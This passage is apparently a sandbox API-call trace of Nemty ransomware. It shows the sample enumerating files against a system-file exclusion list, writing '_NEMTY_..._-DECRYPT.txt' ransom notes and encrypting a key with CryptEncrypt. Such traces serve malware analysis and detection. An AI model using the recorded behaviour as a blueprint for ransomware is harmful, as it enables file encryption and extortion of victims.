out: hHeap=0x4f90000) returned 1 [0047.646] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd0121010, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xd0121010, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xd0121010, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0047.646] FindClose (in: hFindFile=0x3423a30 | out: hFindFile=0x3423a30) returned 1 [0047.647] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401a8 | out: hHeap=0x4f90000) returned 1 [0047.647] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0047.647] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94198 | out: hHeap=0x4f90000) returned 1 [0047.647] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf4d53d90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf4f690d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf4f690d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Proof.es", cAlternateFileName="")) returned 1 [0047.647] lstrcmpiW (lpString1="Proof.es", lpString2=".") returned 1 [0047.647] lstrcmpiW (lpString1="Proof.es", lpString2="..") returned 1 [0047.647] lstrcmpiW (lpString1="Proof.es", lpString2="...") returned 1 [0047.647] lstrcmpiW (lpString1="Proof.es", lpString2="windows") returned -1 [0047.647] lstrcmpiW (lpString1="Proof.es", lpString2="$RECYCLE.BIN") returned 1 [0047.647] lstrcmpiW (lpString1="Proof.es", lpString2="rsa") returned -1 [0047.647] lstrcmpiW (lpString1="Proof.es", lpString2="NTDETECT.COM") returned 1 [0047.647] lstrcmpiW (lpString1="Proof.es", lpString2="ntldr") returned 1 [0047.647] lstrcmpiW (lpString1="Proof.es", lpString2="MSDOS.SYS") returned 1 [0047.647] lstrcmpiW (lpString1="Proof.es", lpString2="IO.SYS") returned 1 [0047.647] lstrcmpiW (lpString1="Proof.es", lpString2="boot.ini") returned 1 [0047.647] lstrcmpiW (lpString1="Proof.es", lpString2="boot.ini") returned 1 [0047.647] lstrcmpiW (lpString1="Proof.es", lpString2="AUTOEXEC.BAT") returned 1 [0047.647] lstrcmpiW (lpString1="Proof.es", lpString2="ntuser.dat") returned 1 [0047.647] lstrcmpiW (lpString1="Proof.es", lpString2="desktop.ini") returned 1 [0047.647] lstrcmpiW (lpString1="Proof.es", lpString2="CONFIG.SYS") returned 1 [0047.647] lstrcmpiW (lpString1="Proof.es", lpString2="RECYCLER") returned -1 [0047.647] lstrcmpiW (lpString1="Proof.es", lpString2="BOOTSECT.BAK") returned 1 [0047.647] lstrcmpiW (lpString1="Proof.es", lpString2="bootmgr") returned 1 [0047.647] lstrcmpiW (lpString1="Proof.es", lpString2="programdata") returned 1 [0047.647] lstrcmpiW (lpString1="Proof.es", lpString2="appdata") returned 1 [0047.647] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.647] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Proof.es", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0047.647] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Proof.es", cchWideChar=8, lpMultiByteStr=0x653f250, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Proof.es", lpUsedDefaultChar=0x0) returned 8 [0047.647] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0047.647] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Proof.es", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0047.647] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Proof.es", cchWideChar=8, lpMultiByteStr=0x653f250, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Proof.es", lpUsedDefaultChar=0x0) returned 8 [0047.647] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0047.647] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.648] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x4f94198 [0047.648] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x6340048 [0047.648] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94198 | out: hHeap=0x4f90000) returned 1 [0047.648] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942c8 | out: hHeap=0x4f90000) returned 1 [0047.648] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94198 [0047.648] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x6346d48 [0047.648] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0047.648] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.648] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0047.648] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0047.648] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.648] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94240 [0047.648] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0047.648] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x4f942f8 [0047.648] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94240 | out: hHeap=0x4f90000) returned 1 [0047.648] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c8 [0047.648] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942f8 | out: hHeap=0x4f90000) returned 1 [0047.648] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0047.648] WriteFile (in: hFile=0x3c8, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f200, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f200*=0xef8, lpOverlapped=0x0) returned 1 [0047.649] CloseHandle (hObject=0x3c8) returned 1 [0047.649] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0047.649] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94198 | out: hHeap=0x4f90000) returned 1 [0047.649] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94198 [0047.649] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94240 [0047.649] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f942e8 [0047.650] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x6346d48 [0047.650] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0047.650] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0047.650] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed80, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0047.650] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.650] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0047.650] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340128 [0047.650] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.650] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63401e0 [0047.650] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340128 | out: hHeap=0x4f90000) returned 1 [0047.650] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c8 [0047.651] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401e0 | out: hHeap=0x4f90000) returned 1 [0047.651] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0047.651] WriteFile (in: hFile=0x3c8, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eec0, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653eec0*=0xef8, lpOverlapped=0x0) returned 1 [0047.651] CloseHandle (hObject=0x3c8) returned 1 [0047.652] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0047.652] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942e8 | out: hHeap=0x4f90000) returned 1 [0047.652] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f942e8 [0047.652] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\*.*", lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf4d53d90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd0193430, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xd0193430, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423a30 [0047.652] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0047.652] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf4d53d90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd0193430, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xd0193430, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0047.652] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0047.652] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0047.652] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3ba05100, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3ba05100, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4f690d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd02aea, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="Proof.cab", cAlternateFileName="")) returned 1 [0047.652] lstrcmpiW (lpString1="Proof.cab", lpString2=".") returned 1 [0047.652] lstrcmpiW (lpString1="Proof.cab", lpString2="..") returned 1 [0047.652] lstrcmpiW (lpString1="Proof.cab", lpString2="...") returned 1 [0047.652] lstrcmpiW (lpString1="Proof.cab", lpString2="windows") returned -1 [0047.652] lstrcmpiW (lpString1="Proof.cab", lpString2="$RECYCLE.BIN") returned 1 [0047.652] lstrcmpiW (lpString1="Proof.cab", lpString2="rsa") returned -1 [0047.652] lstrcmpiW (lpString1="Proof.cab", lpString2="NTDETECT.COM") returned 1 [0047.652] lstrcmpiW (lpString1="Proof.cab", lpString2="ntldr") returned 1 [0047.652] lstrcmpiW (lpString1="Proof.cab", lpString2="MSDOS.SYS") returned 1 [0047.652] lstrcmpiW (lpString1="Proof.cab", lpString2="IO.SYS") returned 1 [0047.652] lstrcmpiW (lpString1="Proof.cab", lpString2="boot.ini") returned 1 [0047.652] lstrcmpiW (lpString1="Proof.cab", lpString2="boot.ini") returned 1 [0047.652] lstrcmpiW (lpString1="Proof.cab", lpString2="AUTOEXEC.BAT") returned 1 [0047.652] lstrcmpiW (lpString1="Proof.cab", lpString2="ntuser.dat") returned 1 [0047.652] lstrcmpiW (lpString1="Proof.cab", lpString2="desktop.ini") returned 1 [0047.652] lstrcmpiW (lpString1="Proof.cab", lpString2="CONFIG.SYS") returned 1 [0047.653] lstrcmpiW (lpString1="Proof.cab", lpString2="RECYCLER") returned -1 [0047.653] lstrcmpiW (lpString1="Proof.cab", lpString2="BOOTSECT.BAK") returned 1 [0047.653] lstrcmpiW (lpString1="Proof.cab", lpString2="bootmgr") returned 1 [0047.653] lstrcmpiW (lpString1="Proof.cab", lpString2="programdata") returned 1 [0047.653] lstrcmpiW (lpString1="Proof.cab", lpString2="appdata") returned 1 [0047.653] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.653] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Proof.cab", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0047.653] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Proof.cab", cchWideChar=9, lpMultiByteStr=0x653ef10, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Proof.cab", lpUsedDefaultChar=0x0) returned 9 [0047.653] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0047.653] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Proof.cab", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0047.653] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Proof.cab", cchWideChar=9, lpMultiByteStr=0x653ef10, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Proof.cab", lpUsedDefaultChar=0x0) returned 9 [0047.653] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0047.653] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.653] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.653] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Proof.cab", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0047.653] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Proof.cab", cchWideChar=9, lpMultiByteStr=0x653ef60, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Proof.cab", lpUsedDefaultChar=0x0) returned 9 [0047.653] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.653] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.653] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Proof.cab", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0047.653] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Proof.cab", cchWideChar=9, lpMultiByteStr=0x653ef98, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Proof.cab", lpUsedDefaultChar=0x0) returned 9 [0047.653] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.653] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340128 [0047.653] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942e8 | out: hHeap=0x4f90000) returned 1 [0047.653] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4e5c7f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd7200, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="Proof.msi", cAlternateFileName="")) returned 1 [0047.653] lstrcmpiW (lpString1="Proof.msi", lpString2=".") returned 1 [0047.653] lstrcmpiW (lpString1="Proof.msi", lpString2="..") returned 1 [0047.653] lstrcmpiW (lpString1="Proof.msi", lpString2="...") returned 1 [0047.653] lstrcmpiW (lpString1="Proof.msi", lpString2="windows") returned -1 [0047.653] lstrcmpiW (lpString1="Proof.msi", lpString2="$RECYCLE.BIN") returned 1 [0047.653] lstrcmpiW (lpString1="Proof.msi", lpString2="rsa") returned -1 [0047.653] lstrcmpiW (lpString1="Proof.msi", lpString2="NTDETECT.COM") returned 1 [0047.653] lstrcmpiW (lpString1="Proof.msi", lpString2="ntldr") returned 1 [0047.653] lstrcmpiW (lpString1="Proof.msi", lpString2="MSDOS.SYS") returned 1 [0047.654] lstrcmpiW (lpString1="Proof.msi", lpString2="IO.SYS") returned 1 [0047.654] lstrcmpiW (lpString1="Proof.msi", lpString2="boot.ini") returned 1 [0047.654] lstrcmpiW (lpString1="Proof.msi", lpString2="boot.ini") returned 1 [0047.654] lstrcmpiW (lpString1="Proof.msi", lpString2="AUTOEXEC.BAT") returned 1 [0047.654] lstrcmpiW (lpString1="Proof.msi", lpString2="ntuser.dat") returned 1 [0047.654] lstrcmpiW (lpString1="Proof.msi", lpString2="desktop.ini") returned 1 [0047.654] lstrcmpiW (lpString1="Proof.msi", lpString2="CONFIG.SYS") returned 1 [0047.654] lstrcmpiW (lpString1="Proof.msi", lpString2="RECYCLER") returned -1 [0047.654] lstrcmpiW (lpString1="Proof.msi", lpString2="BOOTSECT.BAK") returned 1 [0047.654] lstrcmpiW (lpString1="Proof.msi", lpString2="bootmgr") returned 1 [0047.654] lstrcmpiW (lpString1="Proof.msi", lpString2="programdata") returned 1 [0047.654] lstrcmpiW (lpString1="Proof.msi", lpString2="appdata") returned 1 [0047.654] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.654] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Proof.msi", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0047.654] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Proof.msi", cchWideChar=9, lpMultiByteStr=0x653ef10, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Proof.msi", lpUsedDefaultChar=0x0) returned 9 [0047.654] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0047.654] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Proof.msi", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0047.654] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Proof.msi", cchWideChar=9, lpMultiByteStr=0x653ef10, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Proof.msi", lpUsedDefaultChar=0x0) returned 9 [0047.654] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0047.654] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.654] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.654] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Proof.msi", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0047.654] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Proof.msi", cchWideChar=9, lpMultiByteStr=0x653ef60, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Proof.msi", lpUsedDefaultChar=0x0) returned 9 [0047.654] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.654] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.654] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Proof.msi", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0047.654] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Proof.msi", cchWideChar=9, lpMultiByteStr=0x653ef98, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Proof.msi", lpUsedDefaultChar=0x0) returned 9 [0047.654] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.654] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f942e8 [0047.654] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340128 | out: hHeap=0x4f90000) returned 1 [0047.654] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340128 [0047.654] Sleep (dwMilliseconds=0x5) [0047.656] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xd01b9590, dwHighDateTime=0x1d561e7)) [0047.656] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xd01b9590, dwHighDateTime=0x1d561e7)) [0047.656] GetLastError () returned 0xb7 [0047.656] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0047.656] GetLastError () returned 0xb7 [0047.656] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.656] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0047.656] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0047.656] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653ec60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653ec60*=0x100) returned 1 [0047.656] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x10, dwBufLen=0x100 | out: pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x100) returned 1 [0047.656] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ec5c | out: pszString=0x0, pcchString=0x653ec5c) returned 1 [0047.656] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63401e0 [0047.656] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x63401e0, pcchString=0x653ec5c | out: pszString="Yfdazk1bBE9iEF9AtUhscOEgd9XXR8A7tTHhftlb6dVpbPdQIEDAEF6VIxXkWA+4\r\nAS2pO4lYJlCdWWK/83gFPK4NBq/L5z1I/eEQzi/m2eQvC0Uw29B4e/2UEbH6/ldi\r\nE1EOKmwqDHCk+iEP5YsYtwPS9IIKOQcMatgF9fFD9A/8OH7Uch8L5euQKUnvfj9h\r\n7qqw1cK5fH7TCo1VOOI/giq9z+9TV1HmnbqS5KpSJ+xM8Uws+0uBFFlWJoKJB+D0\r\nyik8Rxj56UI1RBYykS2dMszZzxlHHQkEEKdsuRB2Sfba1nTk/F5mQsjJk/jkBh82\r\nQGxAmgP53lsijTaoYJ8Bcg==\r\n", pcchString=0x653ec5c) returned 1 [0047.656] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340350 [0047.656] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401e0 | out: hHeap=0x4f90000) returned 1 [0047.656] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0047.656] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0047.656] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63401e0 [0047.657] 